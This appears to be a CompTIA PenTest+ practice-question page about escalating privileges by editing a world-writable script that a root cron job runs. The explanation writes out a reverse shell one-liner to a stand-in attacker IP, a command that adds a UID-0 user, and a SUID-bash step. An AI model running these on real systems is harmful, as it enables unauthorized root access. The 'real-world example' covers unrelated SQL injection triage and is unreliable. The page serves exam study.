Question 8 of 509
Attacks and ExploitshardMultiple ChoiceObjective-mapped

Quick Answer

The answer is cron job script manipulation. This technique is correct because the cron job executes /opt/backup.sh with root privileges every five minutes, and the script is world-writable, meaning any low-privileged user can modify its contents. By injecting a reverse shell or a command like `chmod u+s /bin/bash` into the script, the tester gains root-level code execution the next time the cron job runs, effectively bypassing access controls. On the CompTIA PenTest+ PT0-002 exam, this scenario tests your understanding of Linux privilege escalation through scheduled tasks—a common real-world vector. A frequent trap is overlooking that the script itself, not just its directory, must be writable; here, the world-writable flag on the file is the key vulnerability. Remember the mnemonic: "Cron + Write = Root."

PT0-002 Attacks and Exploits Practice Question

This PT0-002 practice question tests your understanding of attacks and exploits. Read the scenario carefully and evaluate each option against the stated constraints before committing to an answer. A key principle to apply: cron jobs schedule commands or scripts to run automatically at specified intervals.. Once you have made your selection, read the full explanation to reinforce the concept and understand why each distractor is designed to mislead on exam day.

A penetration tester has gained a low-privileged shell on a Linux server. During enumeration, the tester finds a cron job that runs a script as root every five minutes. The script is located in /opt/backup.sh and is world-writable. Which technique should the tester use to escalate privileges?

Question 1hardmultiple choice
Full question →

Answer choices

Why each option matters

Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.

Correct answer & explanation

Cron job script manipulation

Option C is correct because the cron job runs as root and the script /opt/backup.sh is world-writable, meaning any user can modify it. By injecting a reverse shell or privilege escalation command into the script, the tester can execute arbitrary code with root privileges when the cron job triggers. This is a classic cron job script manipulation attack, leveraging the scheduled task's root execution context.

Key principle: Cron jobs schedule commands or scripts to run automatically at specified intervals.

Answer analysis

Option-by-option breakdown

For each option: why learners choose it and why it is or isn't the right answer here.

  • Kernel exploit

    Why it's wrong here

    A kernel exploit could escalate privileges, but it requires a compatible kernel vulnerability and may be unreliable; using the writable cron script is simpler and more reliable.

  • SUID binary exploitation

    Why it's wrong here

    Exploiting a misconfigured SUID binary is another method, but it may not be present; the cron script provides a direct, easy path.

  • Cron job script manipulation

    Why this is correct

    Since the script is world-writable and run as root, the tester can insert a reverse shell or other commands to gain root access when the cron job fires.

    Related concept

    Cron jobs schedule commands or scripts to run automatically at specified intervals.

  • Password cracking

    Why it's wrong here

    Password cracking requires obtaining password hashes first; it is not directly applicable to this scenario.

Common exam traps

Common exam trap: answer the scenario, not the keyword

The trap here is that candidates may overthink and choose a kernel exploit or SUID attack, overlooking the simpler and more direct vector of modifying a world-writable script executed by a privileged cron job.

Trap categories for this question

  • Scenario analysis trap

    Password cracking requires obtaining password hashes first; it is not directly applicable to this scenario.

Detailed technical explanation

How to think about this question

Cron jobs execute with the privileges of the user specified in the crontab (here, root). If the script is world-writable, an attacker can append commands like 'echo "useradd -o -u 0 attacker" >> /opt/backup.sh' or a reverse shell one-liner (e.g., 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'). When the cron job runs, the injected code executes as root, granting immediate privilege escalation without needing to exploit kernel or SUID binaries.

KKey Concepts to Remember

  • Cron jobs schedule commands or scripts to run automatically at specified intervals.
  • World-writable files allow any user on the system to modify their content.
  • Exploiting cron jobs involves modifying a script executed by a privileged user.
  • A common payload for cron job exploitation is a reverse shell or adding a new root user.

TExam Day Tips

  • Watch for words such as best, first, most likely and least administrative effort.
  • Review why wrong options are wrong, not only why the correct option is correct.

Key takeaway

Cron jobs schedule commands or scripts to run automatically at specified intervals.

Real-world example

How this comes up in practice

A security team runs a vulnerability scan on a web application and discovers an unpatched SQL injection flaw. The team prioritises remediation by CVSS score — critical flaws are patched within 24 hours, high within 7 days. Questions like this test whether you understand vulnerability management processes, scanning tools, and remediation prioritisation.

What to study next

Got this wrong? Here's your next step.

Review cron jobs schedule commands or scripts to run automatically at specified intervals., then practise related PT0-002 questions on the same topic to reinforce the concept.

Related practice questions

Related PT0-002 practice-question pages

Use these pages to review the topic behind this question. This is how one missed question becomes focused revision.

Practice this exam

Start a free PT0-002 practice session

Short sessions build daily habit. Longer sessions build exam-day stamina. Try a timed session to simulate real conditions.

FAQ

Questions learners often ask

What does this PT0-002 question test?

Attacks and Exploits — This question tests Attacks and Exploits — Cron jobs schedule commands or scripts to run automatically at specified intervals..

What is the correct answer to this question?

The correct answer is: Cron job script manipulation — Option C is correct because the cron job runs as root and the script /opt/backup.sh is world-writable, meaning any user can modify it. By injecting a reverse shell or privilege escalation command into the script, the tester can execute arbitrary code with root privileges when the cron job triggers. This is a classic cron job script manipulation attack, leveraging the scheduled task's root execution context.

What should I do if I get this PT0-002 question wrong?

Review cron jobs schedule commands or scripts to run automatically at specified intervals., then practise related PT0-002 questions on the same topic to reinforce the concept.

What is the key concept behind this question?

Cron jobs schedule commands or scripts to run automatically at specified intervals.

About these practice questions

Courseiva creates original exam-style practice questions with explanations and wrong-answer analysis. It does not publish real exam questions, exam dumps, or protected exam content. Learn why practice questions differ from exam dumps →

How Courseiva writes practice questions · Editorial policy

Last reviewed: Jun 11, 2026

Question Discussion

Share a tip, memory trick, or ask about the reasoning behind this question. Do not post real exam questions, leaked content, braindumps, or copyrighted exam material. Comments are moderated and may be removed without notice.

Loading comments…

Sign in to join the discussion.

This PT0-002 practice question is part of Courseiva's free CompTIA certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the PT0-002 exam.